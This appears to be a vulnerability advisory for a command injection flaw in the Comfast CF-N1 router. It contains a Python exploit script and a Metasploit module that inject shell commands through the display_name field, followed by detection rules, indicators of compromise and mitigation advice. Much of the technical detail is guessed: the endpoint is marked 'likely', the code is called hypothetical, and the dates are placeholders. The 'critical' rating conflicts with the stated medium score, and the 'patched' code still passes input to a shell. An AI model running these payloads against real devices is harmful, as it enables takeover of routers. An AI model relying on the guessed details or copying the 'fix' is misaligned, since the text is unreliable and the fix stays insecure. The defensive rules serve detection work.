CVE-2025-9584

Executive Summary

CVE-2025-9584 is a critical command injection vulnerability affecting the Comfast CF-N1 router running firmware version 2.6.0. The flaw resides in the /usr/bin/webmgnt binary, specifically within the update_interface_png function. By manipulating the interface or display_name arguments, an unauthenticated remote attacker can inject arbitrary operating system commands. The exploit has been publicly disclosed, increasing the risk of widespread exploitation. No official patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public PoC changes the threat landscape.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: Low (C:L) – Limited data access possible.
• Integrity Impact: Low (I:L) – Limited data modification possible.
• Availability Impact: Low (A:L) – Limited service disruption possible.

Threat Level: High due to public exploit availability and no patch. The medium CVSS score may underestimate the risk in operational environments.

Deep Dive & Mechanics

The vulnerability exists in the update_interface_png function within /usr/bin/webmgnt. This function is responsible for updating interface display names and associated PNG images. The flaw is a classic command injection: user-supplied input from the interface or display_name parameters is passed unsanitized to a system command (likely system(), popen(), or similar). An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: Lack of input validation and sanitization. The application does not escape or filter shell metacharacters before passing the argument to a shell command.

Attack Flow:

1. Attacker sends a crafted HTTP request to the vulnerable endpoint (likely /cgi-bin/webmgnt or similar).
2. The interface or display_name parameter contains a command injection payload, e.g., ; id > /tmp/out.
3. The update_interface_png function executes the command, and the injected payload runs with the privileges of the web server (typically root on embedded devices).
4. The attacker can then execute arbitrary commands, potentially gaining full control of the device.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern.

Vulnerable Code (Hypothetical C/PHP):

void update_interface_png(char *interface, char *display_name) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "convert -size 100x100 xc:white -font Arial -pointsize 12 -fill black -annotate +10+10 '%s' /tmp/%s.png", display_name, interface);
    system(cmd);
}

Patched Code (Hypothetical):

void update_interface_png(char *interface, char *display_name) {
    // Sanitize inputs: remove shell metacharacters
    char safe_interface[64], safe_display[64];
    sanitize_input(interface, safe_interface, sizeof(safe_interface));
    sanitize_input(display_name, safe_display, sizeof(safe_display));
    
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "convert -size 100x100 xc:white -font Arial -pointsize 12 -fill black -annotate +10+10 '%s' /tmp/%s.png", safe_display, safe_interface);
    system(cmd);
}

The patched version would use a whitelist or escape function to remove dangerous characters like ;, |, &, $, backticks, etc.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Comfast CF-N1 router with firmware 2.6.0.
• Network access to the router's web interface (typically port 80 or 443).

Exploit (Python):

import requests

target = "http://192.168.1.1"
payload = "; id > /tmp/pwned"

# Assuming the vulnerable endpoint is /cgi-bin/webmgnt
data = {
    "interface": "eth0",
    "display_name": payload
}

try:
    r = requests.post(f"{target}/cgi-bin/webmgnt", data=data, timeout=5)
    print(f"Exploit sent. Status: {r.status_code}")
    # Verify command execution
    r2 = requests.get(f"{target}/tmp/pwned", timeout=5)
    if r2.status_code == 200:
        print(f"Command output: {r2.text}")
    else:
        print("Command may have executed but output not accessible.")
except Exception as e:
    print(f"Error: {e}")

Metasploit Module (Conceptual):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Comfast CF-N1 Command Injection',
      'Description' => 'Exploits command injection in update_interface_png',
      'Author'      => ['Your Name'],
      'References'  => [['CVE', '2025-9584']],
      'DisclosureDate' => '2025-01-01',
      'Targets'     => [['Automatic', {}]],
      'Payload'     => {'Space' => 1024},
    ))
    register_options([
      Opt::RHOST(),
      Opt::RPORT(80),
    ])
  end

  def exploit
    send_request_cgi({
      'uri'    => '/cgi-bin/webmgnt',
      'method' => 'POST',
      'vars_post' => {
        'interface' => 'eth0',
        'display_name' => "; #{payload.encoded}"
      }
    })
  end
end

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /cgi-bin/webmgnt with suspicious parameters.
• Look for shell metacharacters (;, |, &, $, backticks) in interface or display_name fields.
• Alert on outbound connections from the router to unknown IPs (potential reverse shell).

Honeypot:

• Deploy a fake Comfast CF-N1 endpoint that logs all POST data.
• Use a low-interaction honeypot to capture exploit attempts.

Network Segmentation:

• Isolate IoT devices like routers in a separate VLAN with strict egress filtering.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/webmgnt with parameters containing shell metacharacters.
• Outbound connections from the router to unusual IPs on ports 4444, 5555, etc. (reverse shells).
• DNS queries to known C2 domains.

File IOCs:

• Presence of /tmp/pwned or similar files on the router.
• Modified /etc/passwd or /etc/shadow (if attacker adds users).
• Unusual processes running (e.g., /bin/sh -c).

Log IOCs:

• System log entries showing execution of commands like id, wget, curl.
• Web server logs with 200 responses to /cgi-bin/webmgnt followed by 404 to /tmp/*.

Detection Engineering

YARA Rule

rule CVE_2025_9584_Comfast_CFN1_Command_Injection {
    meta:
        description = "Detects command injection attempts against Comfast CF-N1"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-9584"
    strings:
        $cmd1 = /(interface|display_name)=[^&]*[;&|`$]/
        $cmd2 = /(interface|display_name)=[^&]*\b(?:id|cat|ls|wget|curl|bash|sh)\b/
    condition:
        any of them
}

Sigma Rule

title: Comfast CF-N1 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to /cgi-bin/webmgnt with command injection payloads
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/webmgnt'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of special characters in display names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9584 Comfast CF-N1 Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/webmgnt"; http_uri; content:"interface="; http_client_body; pcre:"/(interface|display_name)=[^&]*[;&|`$]/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management on the Comfast CF-N1 if not required.
2. Restrict access to the web interface using firewall rules (allow only trusted IPs).
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-term Fix:

• Vendor Patch: Contact Comfast for a firmware update. Since no patch is available, consider replacing the device.
• Input Validation: If you have source access, implement strict input sanitization (whitelist alphanumeric characters only).
• Use WAF: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block command injection.

Workaround:

• If the device cannot be replaced, create a custom iptables rule to drop POST requests to /cgi-bin/webmgnt with suspicious content.

Valters IT